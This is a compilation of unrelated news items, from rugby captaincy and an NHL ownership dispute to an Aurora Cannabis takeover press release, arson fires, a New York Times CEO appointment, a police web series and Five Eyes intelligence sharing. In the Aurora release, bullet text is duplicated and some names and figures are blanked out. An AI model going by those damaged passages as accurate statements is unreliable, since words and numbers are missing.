Tana Umaga retired after the 2005 season, the path was open for McCaw to take the captaincy and there has never been any question of him relinquishing the role - except, of course, after the capitulation to France in the 2007 World Cup quarterfinal in Cardiff.  That really stung McCaw, forcing himself to ask whether he wanted to continue as skipper.  "There was perhaps a point after the 2007 World Cup where I questioned I was good enough to do it, or the right person to do it, which I suppose is natural after a disappointment like that," McCaw said.  It was, he said, a fleeting moment of self-doubt. He then realised that being a leader stoked his enthusiasm: "You have to want the responsibility, want to put yourself under the pressure that comes with it."  It was during the redemption tournament of 2011, when McCaw played with a broken bone in his right foot, that Hansen's admiration for "Ricko" spiked to new levels.  "To do what he did with his foot broken just showed the courage of the man," Hansen said.  "The mental strength he had to play as well as he did and to be there, to keep the team confident.  "His ability to stay in the fight and get all the way through the tournament was massive. Even after the final - he walked with me to the media conference afterwards and he was exhausted.  "It was over, the relief was immense among all of us but I think, for himself, particularly because he felt a lot of responsibility for '07. Which wasn't because it just wasn't him who lost it, we all lost it."  McCaw isn't perfect. He still concedes the penalties for lingering too long at the back of a ruck or for poor timing when lunging for a turnover, and there has been the odd yellow card along the way.  Hansen says his captain has had to learn to be more flexible in his thinking and McCaw admits he is now more open to listening to other senior team-mates.  And he has also learned to never concede.  "One thing I know with rugby, and I always think, is that even when you are under the pump - no matter what - at some point it will change," McCaw said.  "You have to make it change but it will come back your way and you have to be good enough to take those opportunities."
-Both sides expect commissioner to back the team  In a major blow to Nashville Predators co-owner David Freeman, Chancellor Ellen Hobbs Lyle ordered him and the team he helped save to arbitration with the National Hockey League.  Freeman sued the Predators and fellow owner Tom Cigarran for $250 million in June, alleging various breaches of contract and unjust enrichment by the ownership group and inducement of breach and breach of fiduciary duty against Cigarran. He was seeking to have his original ownership stake of 48 percent restored and a pay back of guarantees he made to the city and the team's former creditors.  Last week, lawyers for Freeman, the team and the NHL argued a motion to compel arbitration in a lengthy hearing before Lyle. She had to determine whether Davidson County Chancery Court was the appropriate venue for the case. Attorneys for the team and the NHL said that Freeman is bound by the consent agreement that created the ownership group as well as the NHL's constitution and bylaws to have his case heard in arbitration by Commissioner Gary Bettman.  But Freeman's lawyers, Bone McAllester Norton attorneys Ed Yarbrough and Alex Little, argued instead that he is not an owner, but an investment partner as a beneficiary of Commodore Trust, which itself owns a stake in Predators Holdings. Further, they argued Wednesday that Bettman cannot be seen as a neutral arbitrator because his charge is to maintain the stability of the league and its member teams, which would be threatened by a large judgment in favor of Freeman.  On the other side, the league and team said Freeman meets every standard definition of an owner and that he long ago agreed to have these disputes heard by Bettman, who is uniquely qualified to settle these controversies because of his particular knowledge of the business of the NHL. That's a standard that has been upheld by courts in similar cases questioning the appropriateness of sports leagues to settle internecine disputes.  The ruling, which was filed under seal, is a significant win for the Predators, as both sides agreed during oral arguments that Bettman is likely to side with the team.
-Provides Comments on CanniMed's Poison Pill Tactic  TSX:ACB  Aurora's proposed offer currently valued at $24.00 per CanniMed share  per CanniMed share Represents a 56.9% premium to CanniMed's closing price prior to Aurora's takeover proposal announcement  Lock-up agreements already in place with CanniMed's 3 largest shareholders for 38% of CanniMed shares  CanniMed's intention to acquire Newstrike is highly conditional and oppressive to CanniMed shareholders in light of Aurora's proposed offer  VANCOUVER, Nov. 20, 2017 /CNW/ - Aurora Cannabis Inc. (the "Company" or "Aurora") (TSX: ACB) announced today that, further to its press release of November 14, 2017, it intends to make an offer (the "Offer") to purchase all of the issued and outstanding common shares (the "CanniMed Shares") of CanniMed Therapeutics Inc. ("CanniMed") (TSX: CMED) for consideration consisting of common shares of Aurora (the "Aurora Shares").  The Offer will provide holders of CanniMed Shares with 4.52586207 Aurora Shares for each CanniMed Share, subject to a maximum of $24.00 per CanniMed Share (the "Cap Price"). If the market value for 4.52586207 Aurora Shares is more than the Cap Price (based on the 20-day VWAP of Aurora Shares on the earlier of the expiry date for the Offer and the date on which the conditions to the Offer have been satisfied), then Aurora will adjust the number of Aurora Shares offered as consideration in the Offer, such that the consideration payable for each CanniMed Share is equal to the Cap Price.  The Offer Price, which would currently be equivalent to the Cap Price of $24.00 given Aurora's closing share price of $5.51 on November 17, 2017, represents a 56.9% premium over the closing price of CanniMed Shares on November 14, 2017, the last day prior to the public disclosure of Aurora's intention to pursue a combination with CanniMed.  Background to the Offer  On November 13, 2017, Aurora presented the CanniMed board of directors (the "Board") with a proposal (the "Proposal") to explore a mutually agreeable merger on the terms set forth in the Offer, and requested a response prior to 5:00 pm Pacific Time on November 17, 2017 (the "Proposal Deadline"). Although CanniMed's Board failed to respond to the Proposal prior to the Proposal Deadline, Aurora would still welcome a transaction supported by CanniMed's Board, and looks forward to engaging with CanniMed's Board to deliver significant value to CanniMed shareholders. However, at this time, the rationale for the combination is too strong to accept inaction, and thus the decision has been made to proceed to take Aurora's Offer directly to shareholders.  "While we have attempted to engage and have a constructive dialogue with CanniMed's Board and management about the strong merits of our offer, their refusal to enter into such a discussion, along with the powerful strategic rationale for the combination, leaves us no recourse at this point but to launch a formal offer for the company," said Terry Booth, CEO of Aurora. "We believe that CanniMed shareholders would benefit greatly from a combination, not only through the very significant premium we are offering for their shares, but also by participating in Aurora's continued growth, which is well above our industry peers, and is based on superior business strategy and exceptional, industry-leading execution. We already have the support from a large percentage of CanniMed shareholders, and look forward to bringing this process to a positive conclusion for the benefit of our combined shareholders."  CanniMed's Highly Conditional Intention to Acquire Newstrike Resources  CanniMed's announcement late on November 17, 2017 (the "CanniMed Press Release") of its highly conditional intention to acquire Newstrike Resources Ltd. ("Newstrike Resources" and "Newstrike Resources Offer") is extremely troubling in light of the bona fide acquisition proposal that Aurora presented to CanniMed's Board on November 13, 2017. At no point did CanniMed try to engage or otherwise entertain discussions with Aurora regarding the significant offer that had been presented to their Board for CanniMed shareholders prior to entering into the Newstrike Resources agreement.  The Newstrike Resources Offer requires CanniMed shareholders to approve the transaction. Given that 38% of CanniMed shareholders have contractually agreed to support the Aurora Offer and to vote against any proposed action by the CanniMed Board, the Newstrike Resources Offer is a highly conditional proposition with significant uncertainty.  In entering into the highly conditional agreement, CanniMed has agreed to pay a $9.5 million termination fee to Newstrike Resources should a superior proposal, such as the Aurora Offer, emerge. The termination fee, if paid, represents approximately $0.41 cash per share loss to CanniMed shareholders.  The assertion in the CanniMed Press Release that the terms of the Aurora offer "are unknown" is dubious, given that the detailed terms available to CanniMed shareholders were outlined in the proposal delivered by Aurora on November 13, 2017 to the CanniMed Board.  In light of these considerations, it is clear the Newstrike Resources Offer should be considered oppressive to CanniMed shareholders and to Aurora's Offer, which delivers significantly higher financial and strategic value to CanniMed shareholders. Aurora is reviewing its options with respect to CanniMed's Newstrike Resources Offer and will comment further in due course.  Compelling Strategic Rationale for the Aurora-CanniMed Combination  Aurora believes that the combination of the two companies is extremely compelling, in the best interest of all shareholders, and will accelerate growth and shareholder value creation for the combined entity, further extending the Company's leadership position within the global cannabis sector.  Among other things, the combined entity will have:  Over 40,000 patients - a combined total of over 40,000 active registered cannabis patients in Canada ;  a combined total of over 40,000 active registered cannabis patients in ; 5 state-of-the-art facilities - significant cultivation capacity with five state-of-the-art facilities;  significant cultivation capacity with five state-of-the-art facilities; 130,000 kg funded capacity - funded capacity of over 130,000 kilograms of annual production, with significant additional capacity planned and funded;  - funded capacity of over 130,000 kilograms of annual production, with significant additional capacity planned and funded; Expanded international presence - a strengthened international presence with operations and agreements across North America , the European Union, Australia , South Africa , and the Cayman Islands ;  - a strengthened international presence with operations and agreements across , the European Union, , , and the ; Increased export capacity - multiple EU GMP-compliant production facilities and significantly increased export capacity;  - multiple EU GMP-compliant production facilities and significantly increased export capacity; Increased oil production - high throughput oil production through Aurora's strategic extraction partner Radient Technologies Inc. to satisfy growing international demand;  - high throughput oil production through Aurora's strategic extraction partner Radient Technologies Inc. to satisfy growing international demand; Broader product portfolio - expanded existing and new, near-term product offerings, delivery mechanisms, and devices;  - expanded existing and new, near-term product offerings, delivery mechanisms, and devices; Strategic product synergies - complementary product offerings which will enable faster market penetration in new sectors for both companies;  - complementary product offerings which will enable faster market penetration in new sectors for both companies; Improved yields - enhanced production yields and product quality through cross-application of proprietary technologies and intellectual property from each of Aurora and CanniMed;  - enhanced production yields and product quality through cross-application of proprietary technologies and intellectual property from each of Aurora and CanniMed; CanvasRx - immediate ability to address demand growth constraints at CanniMed through CanvasRx's industry leading physician education and patient counselling services;  - immediate ability to address demand growth constraints at CanniMed through CanvasRx's industry leading physician education and patient counselling services; Accelerated growth through innovation - enabling CanniMed to leverage Aurora's sector leadership in execution, technology integration and innovation to accelerate development and growth potential;  - enabling CanniMed to leverage Aurora's sector leadership in execution, technology integration and innovation to accelerate development and growth potential; Genetics - expansion of both companies' portfolio of genetics;  - expansion of both companies' portfolio of genetics; eCommerce - enabling CanniMed to leverage Aurora's unparalleled e-commerce platform, including the only mobile app in Canada that enables customer purchases;  - enabling CanniMed to leverage Aurora's unparalleled e-commerce platform, including the only mobile app in that enables customer purchases; Same day delivery - expanding Aurora's same-day delivery service into additional areas across Canada ; and  - expanding Aurora's same-day delivery service into additional areas across ; and Strong cash position and balance sheet fueling rapid growth - Aurora`s sector-leading cash position and balance sheet will enable faster roll-out of initiatives for CanniMed to accelerate growth.  Reasons for CanniMed Shareholders to Support the Aurora-CanniMed Combination  Significant Premium to Market Price. The Offer, based on Aurora's closing share price of $5.51 on November 17, 2017 , will result in CanniMed shareholders receiving the Cap Price of $24.00 , which represents a 56.9% premium over the closing price of CanniMed Shares on November 14, 2017 , the last day prior to the public disclosure of Aurora's intention to pursue a combination with CanniMed.  The Offer, based on Aurora's closing share price of on , will result in CanniMed shareholders receiving the Cap Price of , which represents a 56.9% premium over the closing price of CanniMed Shares on , the last day prior to the public disclosure of Aurora's intention to pursue a combination with CanniMed. High Likelihood of Completion. Aurora believes that there is a high likelihood that more than 66 2/3% of the outstanding shares will be tendered to the Offer, and therefore the Offer will be successful, given that the Offer is already supported by 38% of CanniMed shareholders (the "Locked-Up Shareholders").  Aurora believes that there is a high likelihood that more than 66 2/3% of the outstanding shares will be tendered to the Offer, and therefore the Offer will be successful, given that the Offer is already supported by 38% of CanniMed shareholders (the "Locked-Up Shareholders"). Support of Major Shareholders. 38% of CanniMed shareholders have already agreed to tender their shares in favour of the Offer and are precluded from tendering any of their common shares in favour of any other competing acquisition proposal relating to CanniMed. The Locked-Up Shareholders include CanniMed's three largest shareholders.  38% of CanniMed shareholders have already agreed to tender their shares in favour of the Offer and are precluded from tendering any of their common shares in favour of any other competing acquisition proposal relating to CanniMed. The Locked-Up Shareholders include CanniMed's three largest shareholders. Continued Participation with an Industry Leader. Aurora has rapidly become a globally dominant cannabis company with a proven track record of exceptional shareholder value creation, with its rapid expansion driven by its agility, innovation and unparalleled execution. The Offer provides CanniMed shareholders the opportunity to continue to participate in the compelling industry growth alongside the established and successful track record of Aurora.  Aurora has rapidly become a globally dominant cannabis company with a proven track record of exceptional shareholder value creation, with its rapid expansion driven by its agility, innovation and unparalleled execution. The Offer provides CanniMed shareholders the opportunity to continue to participate in the compelling industry growth alongside the established and successful track record of Aurora. Increased Scale, Capital Markets Presence and Access to Capital. The pro forma combined company would have a market capitalization of approximately $3 billion , in addition to significantly enhanced liquidity relative to CanniMed, providing greater access to capital. Aurora has cash of more than $340 million upon closing of its two current capital initiatives, relative to only $54 million for CanniMed. Aurora's capital position provides very significant firepower to continue pursuing its aggressive global expansion and differentiation strategy.  The pro forma combined company would have a market capitalization of approximately , in addition to significantly enhanced liquidity relative to CanniMed, providing greater access to capital. Aurora has cash of more than upon closing of its two current capital initiatives, relative to only for CanniMed. Aurora's capital position provides very significant firepower to continue pursuing its aggressive global expansion and differentiation strategy. Potential for Downward Share Price Impact if Offer is Not Accepted. The Offer represents a significant premium to the market price of CanniMed shares prior to the public announcement of Aurora's interest to acquire CanniMed. Given the the agreements with the Locked-Up Shareholders, CanniMed will be unable to proceed with an alternative competing transaction to the Offer. If the Offer is not successful and no competing transaction is made, Aurora believes it is likely the trading price of CanniMed shares will decline to pre-Offer levels.  Proposed Offer Particulars  Provided Aurora does not uncover or otherwise identify information suggesting that the business, affairs, prospects or assets of CanniMed have been materially impaired, Aurora intends to commence the bid during the week of November 20, 2017 and thereafter mail a takeover bid circular to the registered holders of CanniMed Shares (in the time required under applicable Canadian securities laws). Aurora expects that the Offer, when made, will be remain open for acceptance for at least 105 calendar days from the date of the commencement of the Offer.  Aurora anticipates that the Offer will be subject to a number of customary conditions, including: (i) there being deposited under the Offer, and not withdrawn, at least 66⅔% of the outstanding CanniMed Shares (calculated on a fully diluted basis), excluding any CanniMed Shares held by Aurora; (ii) receipt of all governmental, regulatory and third party approvals that Aurora considers necessary or desirable in connection with the Offer; (iii) no material adverse change having occurred in the business, affairs, prospects or assets of CanniMed; and (iv) the minimum tender and other conditions set out in National Instrument 62-104 Take-Over Bids and Issuer Bids. In addition, Aurora may require the approval of its shareholders to issue the Aurora Shares to be distributed by it in connection with the Offer. If required, Aurora expects that it may call a meeting of its shareholders to consider a resolution to approve the issuance of Aurora Shares in connection with the Offer in early 2018 if required by the policies of the Toronto Stock Exchange.  Intention to Make an Offer  CanniMed shareholders should note that Aurora has not yet commenced the Offer and should carefully review the cautionary statements set out below in this News Release respecting the status of the Offer and the factors that may cause Aurora not to make the Offer.  Aurora may determine not to make the Offer if: (i) it identifies material adverse information concerning the business, affairs, prospects or assets of CanniMed not previously disclosed by CanniMed; (ii) CanniMed implements or attempts to implement defensive tactics (such as a shareholder rights plan, grant of an option (or similar right) to purchase material assets, material acquisitions, issuances of shares (including, a private placement), or increased indebtedness (including, incurrence of significant new liabilities) in relation to the Offer); (iii) CanniMed completes or undertakes to complete any significant transactions, including the proposed, but not yet completed, acquisition of Newstrike Resources Ltd.; or (iv) CanniMed determines to engage with Aurora to negotiate the terms of a combination transaction and Aurora and CanniMed determine to undertake that transaction utilizing a structure other than a takeover bid (a plan of arrangement, for example). Accordingly, there can be no assurance that the Offer will be made or that the final terms of the Offer will be as set out in this News Release.  If Aurora proceeds with the Offer, full details of the Offer will be included in the formal offer and take-over bid circular to be filed with securities regulatory authorities and mailed to shareholders.  This News Release does not constitute an offer to buy or an invitation to sell, or the solicitation of an offer to buy or invitation to sell, any of the securities of Aurora or CanniMed. Such an offer may only be made pursuant to an offer and take-over bid circular filed with the securities regulatory authorities in Canada.  Advisors  Aurora has retained Canaccord Genuity Corp. as its financial advisor in connection with the Offer. McMillan LLP is acting as the legal advisor to Aurora for the Offer. Laurel Hill Advisory Group has also been retained by Aurora as its information agent in connection with the Offer. Shareholders with questions regarding Aurora's Offer can contact Laurel Hill at 1-877-452-7184 (or +1-416-304-0211 – collect call for shareholders outside North America).  About Aurora  Aurora's wholly-owned subsidiary, Aurora Cannabis Enterprises Inc., is a licensed producer of medical cannabis pursuant to Health Canada's Access to Cannabis for Medical Purposes Regulations ("ACMPR"). The Company operates a 55,200 square foot, state-of-the-art production facility in Mountain View County, Alberta, known as "Aurora Mountain", a second 40,000 square foot high-technology production facility known as "Aurora Vie" in Pointe-Claire, Quebec on Montreal's West Island, and is currently constructing an 800,000 square foot production facility, known as "Aurora Sky", at the Edmonton International Airport.  In addition, the Company holds approximately 9.6% of the issued shares (12.9% on a fully-diluted basis) in leading extraction technology company Radient Technologies Inc., based in Edmonton, and is in the process of completing an investment in Edmonton-based Hempco Food and Fiber for an ownership stake of up to 50.1%. Furthermore, Aurora is the cornerstone investor with a 19.9% stake in Cann Group Limited, the first Australian company licensed to conduct research on and cultivate medical cannabis. Aurora also owns Pedanios, a leading wholesale importer, exporter, and distributor of medical cannabis in the European Union, based in Germany. The Company offers further differentiation through its acquisition of BC Northern Lights Ltd. and Urban Cultivator Inc., industry leaders, respectively, in the production and sale of proprietary systems for the safe, efficient and high-yield indoor cultivation of cannabis, and in state-of-the-art indoor gardening appliances for the cultivation of organic microgreens, vegetables and herbs in home and professional kitchens. Aurora's common shares trade on the TSX under the symbol "ACB".  On behalf of the Board of Directors,  AURORA CANNABIS INC.  Terry Booth  CEO  SHAREHOLDER QUESTIONS  Questions may be directed to Aurora's Information Agent at:  Laurel Hill Advisory Group  North America Toll Free: 1-877-452-7184  Collect Calls Outside North America: 1-416-304-0211  Email: assistance@laurelhill.com  This news release contains certain "forward-looking statements" within the meaning of such statements under applicable securities law. Forward-looking statements are frequently characterized by words such as "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed" and other similar words, or statements that certain events or conditions "may" or "will" occur. These statements are only predictions. Forward looking statements in release include statements regarding the proposed terms of the business combination of Aurora with CanniMed (the "Combination"), the timing or potential for discussions regarding the Combination, the expected benefits of the Combination, and the anticipated market capitalization of the combined entity. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking statements throughout this news release, including assumptions based upon CanniMed's publicly disclosed information, and that there will be no change in the business, prospects or capitalization of CanniMed or Aurora. Forward-looking statements are based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements. The Company is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable law. A more complete discussion of the risks and uncertainties facing the Company appears in the Company's Annual Information Form and continuous disclosure filings, which are available at www.sedar.com.  In particular, this News Release contains forward-looking information concerning: (i) the Offer, various terms of the Offer and the anticipated timing of commencement of the Offer; (ii) expectations with respect to synergies and efficiencies that may be achieved upon a combination of the businesses of Aurora and CanniMed and other benefits of a combination of the businesses of Aurora and CanniMed; and (iii) expectations with respect to business and geographical diversification of the combined entity.  Neither TSX nor its Regulation Services Provider (as that term is defined in the policies of Toronto Stock Exchange) accepts responsibility for the adequacy or accuracy of this release.  Cautionary Statement Respecting CanniMed Information  The information concerning CanniMed contained in this News Release has been taken from, or is based upon, publicly available information filed by CanniMed with securities regulatory authorities in Canada prior to the date of this News Release and other public sources. CanniMed has not reviewed this News Release and has not confirmed the accuracy and completeness of the CanniMed information contained herein. Neither Aurora, nor any of the officers or directors of Aurora, assumes any responsibility for the accuracy or completeness of such CanniMed information or any failure by CanniMed to disclose events or facts that may have occurred, or which may affect the significance or accuracy of any such CanniMed information, but which are unknown to Aurora. Aurora has no means of verifying the accuracy or completeness of any of the CanniMed information contained in this News Release or whether there has been a failure by CanniMed to disclose events or facts that may have occurred or may affect the significance or accuracy of any such information.  Notice to U.S. Holders  The Offer will be made for the securities of a company formed outside of the United States. The Offer will be subject to disclosure requirements of Canada that are different from those of the United States. Financial statements included in the documents, if any, will be prepared in accordance with Canadian accounting standards and may not be comparable to the financial statements of United States companies.  It may be difficult for a securityholder in the United States to enforce his/her/its rights and any claim a securityholder may have arising under the U.S. federal securities laws, since the issuer is located in Canada, and some or all of its officers or directors may be residents of Canada or another country outside of the United States. A securityholder may not be able to sue a Canadian company or its officers or directors in a court in Canada or elsewhere outside of the United States for violations of U.S. securities laws. It may be difficult to compel a Canadian company and its affiliates to subject themselves to a U.S. court's judgment.  Securityholders should be aware that the issuer may purchase securities otherwise than under the Offer, such as in open market or privately negotiated purchases.  Cautionary Statement Respecting Status of the Offer  Aurora has not yet commenced the offer noted above in this news release. Upon commencement of the offer, aurora will file a takeover bid circular with various securities commissions in Canada. The takeover bid circular will contain important information about the offer and should be read in its entirety by CanniMed shareholders and others to whom the offer is addressed. After the offer is commenced, CanniMed shareholders (and others) will be able to obtain, at no charge, a copy of the offer to purchase, takeover bid circular and various associated documents when they become available on the system for electronic document analysis and retrieval (SEDAR) at www.sedar.com. This announcement is for informational purposes only and does not constitute or form part of any offer or invitation to purchase, otherwise acquire, subscribe for, sell, otherwise dispose of or issue, or any other solicitation of any offer to sell, otherwise dispose of, issue, purchase, otherwise acquire or subscribe for any security. The offer will not be made in, nor will deposits of securities be accepted from a person in, any jurisdiction in which the making or acceptance thereof would not be in compliance with the laws of such jurisdiction. However, Aurora may, in its sole discretion, take such action as it deems necessary to extend the offer in any such jurisdiction.  SOURCE Aurora Cannabis Inc.  For further information: Cam Battley, Executive Vice President, +1.905.864.5525, cam@auroramj.com, www.auroramj.com; Marc Lakmaaker, Director, Investor Relations and Corporate Development, +1.647.269.5523, marc.lakmaaker@auroramj.com
-LAFD Firefighters and Arson investigators were very busy through the night, extinguishing and investigating a series of eight fires in the North Hollywood and Sun Valley areas that may have been intentionally set.  The suspected arson fires broke out beginning around 3 a.m. Sunday, October 25, 2015. The fires ranged from dumpster bins that were set on fire to a burning mattress laid against an automobile to small structures near a large commercial building that were set on fire.  Fortunately, due to firefighters’ quick efforts, all fires were swiftly extinguished minimizing damage and no one was injured.  Six on-call arson investigators responded to the rash of fires, canvasing areas and combing through debris. They detained and questioned one person of interest, however, that person was released and the cause of the fires remain under active investigation. We are asking the public to assist.  Anyone with information they feel may assist in determining the cause, or any suspicious activity noted in the North Hollywood and Sun Valley areas around 3 a.m. this morning are encouraged to contact the Arson Counter/Terrorism Section at (213) 893-9850.  Anybody even contemplating starting a fire in the act of arson in L.A. better think twice. The LAFD considers the crime of arson to be one of the most egregious crimes committed in the city and we will utilize all of our resources to investigate and prosecute the responsible parties.
-Update: Evan Rapoport from HedgeCo tells us that his client list is only a "sample" and thus, LogiEnergy wasn't included on said list.  Reuters today reported that troubled business lender CIT Group was offered $1 billion by unknown hedge fund LogiEnergy. According to the report, LogiEnergy was looking to pick up a "sliver" of CIT's oil and gas debt in an effort to boost its Peak Oil fund.  But the entire deal is shrouded in deep mystery. Who is LogiEnergy? We went searching for answers and found that its main corporate website, which is buried within Google, isn't even operational. Their Peak Oil website at www.logipeakoil.com allows you to access no information without signing up. Furthermore, the designers of the Peak Oil website, HedgeCo Websites, have apparently dropped LogiEnergy from their client list and no record of the hedge fund exists on its website:  Asked about the source of the financing, logi's chief investment officer, Lorenzo Ortega, declined to comment.  But Ortega told Reuters, "We have an institutional-class investor that is interested in supporting it." The financing is contingent on CIT accepting the offer.  A spokesman for CIT declined to comment on the proposal. Analysts and energy investors said they had not previously heard of logi.  Ortega said he did not believe the debt offer was a game-changing deal for CIT.  "This is simply a hip pocket opportunity for them," he said. "Those poor guys have a much bigger problems ... CIT has a big chunk of oil and gas debt. We only want a sliver."  Who is this "institutional-class investor" that Ortega offers up to the press? Surely it would come out and announce its plans to purchase $1 billion of CIT asssets if it were serious. For now, LogiEnergy is nothing more than an apparition.
-The New York Times Co. has named Mark Thompson president and CEO, filling a vacancy created when Janet Robinson left abruptly last December.  Mark Thompson  Mr. Thompson, who will assume his post in November, has been director-general of the British Broadcasting Corp. since 2004. He has focused primarily on the BBC's ad-free TV coverage, including the just-completed London Olympics telecast, but also has responsibility over the BBC's commercial arm, the Times Co. noted. He has also overseen the BBC's extension further into digital media and platforms with efforts such as an original news site aimed at the U.S. and the BBC iPlayer, an iPad app to watch the broadcaster's programming. The BBC also began showing ads to international readers on its websites in 2007.  His background in TV and it associated digital extensions sets him apart from executives versed in newspaper publishing, said Alan Mutter, the newspaper veteran now consulting in Silicon Valley and blogging about newspapers. "Good news: He doesn't have any newspaper publishing experience," Mr. Mutter said in an email. "Bad news: He doesn't seem to have much experience in developing successful for-profit digital publishing models."  "However, he seems to understand the opportunities and challenges associated with trying to move staid and long-established news organizations from their legacies to whatever the future holds," Mr. Mutter added. "As such, he ought to be able to look at the assets and liabilities of NYTCo. with fresh eyes -- which is exactly what the company needs."  New York Times Co. Chairman Arthur Sulzberger said Mr. Thompson's work at the BBC helped extent its brand. "Our board concluded that Mark's experience and his accomplishments at the BBC made him the ideal candidate to lead the Times Co. at this moment in time when we are highly focused on growing our business through digital and global expansion," Mr. Sulzberger said in a statement.  A veteran publishing analyst, however, questioned whether The Times really had significant prospects around the globe. "This I've got to see," said Edward Atorino, an analyst covering broadcasting, business services and publishing at Benchmark Co., in an email. With The Times "barely making money" he said, "now it's going to fund 'global expansion?' Does Arthur really think the world is waiting for NYT content?"  The Times Co. has been moving to pay down debt with asset sales and to raise more revenue from readers through digital products and a pay meter on its website. Last week it said it plans to sell About.com, the reference site it bought in 2005 for $410 million, to Answers.com for $270 million. Paid digital subscriptions to NYTimes.com and sibling BostonGlobe.com, meanwhile, increased 13% in the second quarter to total 532,000 on March 18.  A Barclays analyst recently predicted that digital subscribers will surpass its print subscribers by 2014.  But the headwinds facing the news business remain powerful, exacerbated by a sluggish economy affecting advertisers. The company's news operations saw print ad revenue fall 8% in the second quarter, compared to the quarter a year earlier, as even digital-ad revenue slipped 2%.  In addition to its flagship newspaper, the Times Co. also owns the Boston Globe, Boston.com and The International Herald Tribune.
-A new web series produced by the Edmonton Police Service is already causing controversy.  More than 2,500 people watched the first episode of "The Squad" in the first day after it was posted online on Friday.  In the series’ first episode, the camera follows several Edmonton police officers as they conduct a nighttime search of the river valley trying to locate a screaming man, who is eventually arrested.  The series is intended to demystify some of the more routine tasks handled by the EPS squad and help with recruitment, said Michael James of the EPS Digital Media Unit.  "The idea was to have a balance — we want to show what our members do on a day-to-day basis but we also want it to be entertaining," he said.  But Edmonton defence lawyer Tom Engel said he was disturbed by the apparent abuse of police power he believes the episode shows — including threats of violence made against the person the police officers are trying to find.  "I think it gives the impression that [the police] are trying to avoid — that they abuse their authority," he said, adding that the EPS might end up attracting the wrong kind of people to apply to the force.  Engel is also concerned that the series violates the subject’s privacy by publishing the video online.  "There's charter breaches, there's rights to privacy breaches, there's EPS policy breaches. I mean — it's unbelievable."  "Why is the EPS trying to put out highly personal information about this individual... on youtube?" asked Engel. "Someone is probably going to watch that and know who that guy is."  "They need to have good reasons to publish that kind of information."  EPS Deputy Chief Brian Simpson says that viewers don’t need to be worried.  "We’ve run it through our legal in terms of it respecting privacy... and we’re very considerate of the legal [issues] we have to deal with," he said, adding that the EPS will only be airing footage shot in public spaces.  "Our goal here is to educate... I know we’ll get public input from it, and we’ll be very sensitive to it."  The first season of "The Squad" will include 15 episodes, with each running between two and three minutes in length. New episodes will be released every Friday.
-Nations must speed the dissemination of information to enable real-time responses and counter disabling cyber threats.  The long-standing intelligence sharing pact between the U.S., U.K., Australia, New Zealand and Canada needs to adapt more quickly to meet rapidly evolving, 21st century threats.  To modernize the “Five Eyes” arrangement, the five governments must develop a common strategy for gathering information on today’s threats, which stem from non-state actors like terrorist groups, hackers and transnational criminal syndicates — as well as from nation-state adversaries. However, to be successful, they must speed the dissemination of information to enable real-time responses, counter disabling cyber threats like the recent “Wanna Cry” ransomware attack and overcome adversaries’ use of encryption.  Furthermore, to maintain public support for robust intelligence collection in democratic political systems, each of the Five Eyes governments must strengthen and clarify the legal frameworks that govern intelligence activities and address growing privacy concerns among the citizenry of all five nations.  Under the Five Eyes arrangement, the five Anglophone countries have shared intelligence and collaborated on intelligence collection and analysis for 70 years. But the partnership — which originally focused on the Soviet Union and the Warsaw Pact — has been slow to adapt to rapidly evolving 21st century threats. Since 2013, Five Eyes ministerials have addressed religious radicalization, cybersecurity, and other common threats.  Last week, senior intelligence, national security, and homeland security officials from the U.S., U.K., Australia, New Zealand and Canada met in Ottawa to improve cooperation on a range of shared security threats.  This Cabinet-level meeting addressed terrorism, cybersecurity, border security, and global migration — threats that did not exist in today’s forms when the Five Eyes agreement was reached in the aftermath of World War II. Most importantly, however, the ministers agreed to improve the state of their collaboration, as well as its scope, to address 21st century obstacles to intelligence collection.  To release raw intelligence to foreign countries — even to close allies — reports must be reviewed by the agency collecting it. But actionable information must be shared in real-time to enable effective military or police responses, and such reviews could delay dissemination of intercepted phone calls, emails, and internet chats that expose terrorist plots or the movement of fighters and weapons as they unfold. To enhance collective responses to emerging and imminent threats, ministers agreed “to explore more timely and detailed information sharing on the detection of terrorist and foreign terrorist fighter movements,” according to the meeting’s communiqué.  Similarly, the ministerial addressed the increasing use of encryption by terrorists, criminals, and other adversaries to deny intelligence and law enforcement agencies access to their communications. Officials agreed to coordinate efforts to combat encryption used by terrorists for recruitment and propaganda, particularly by encouraging Internet companies to provide encrypted communications of interest.  In addition to discussing how to collaborate on shared threats, the ministers explicitly acknowledged that their efforts — most notably their engagement with communications firms — must respect their citizens’ privacy rights. Privacy and civil liberties protections differ in each of the five countries. The changing nature of communications via the Internet and the proliferation of social media for both innocent and nefarious purposes has tested the limits of our understanding of a right to privacy in an increasingly connected world. The sharing of such information between countries when their interpretations of privacy differ presents complex challenges.  As recent debates over warrantless surveillance in the U.S. have demonstrated, public suspicion of government overreach creates a political environment in which it can be difficult for intelligence agencies to justify their activities. Thus, critically, the Five Eyes ministers’ communique “affirmed that building public trust within our countries is required to move forward on national security issues. Enhanced safeguards and greater efforts to promote transparency are critical in this respect.”  Effective and independent oversight by our respective governments and by specially designated review bodies, such as the U.S. Privacy and Civil Liberties Oversight Board, can assure our respective citizens that the collection and sharing of intelligence is done in a legally sound and responsible manner. Canada, for its part, took a step to bolster intelligence oversight last week by proposing a new oversight committee that would monitor the activities of all of Canada’s intelligence agencies. Such entities need to be resourced and empowered if they are to build the trust that Five Eyes officials agreed is needed.  Maintaining, improving, and adapting this unique Five Eyes partnership to our times must be one of our highest priorities, as it is truly emblematic of Aristotle’s axiom that the whole is greater than the sum of its parts. The initiatives announced this week in Ottawa will improve the state of intelligence collection and dissemination in the Five Eyes countries while also bolstering public support for the critical work undertaken by these nations’ intelligence and security services.
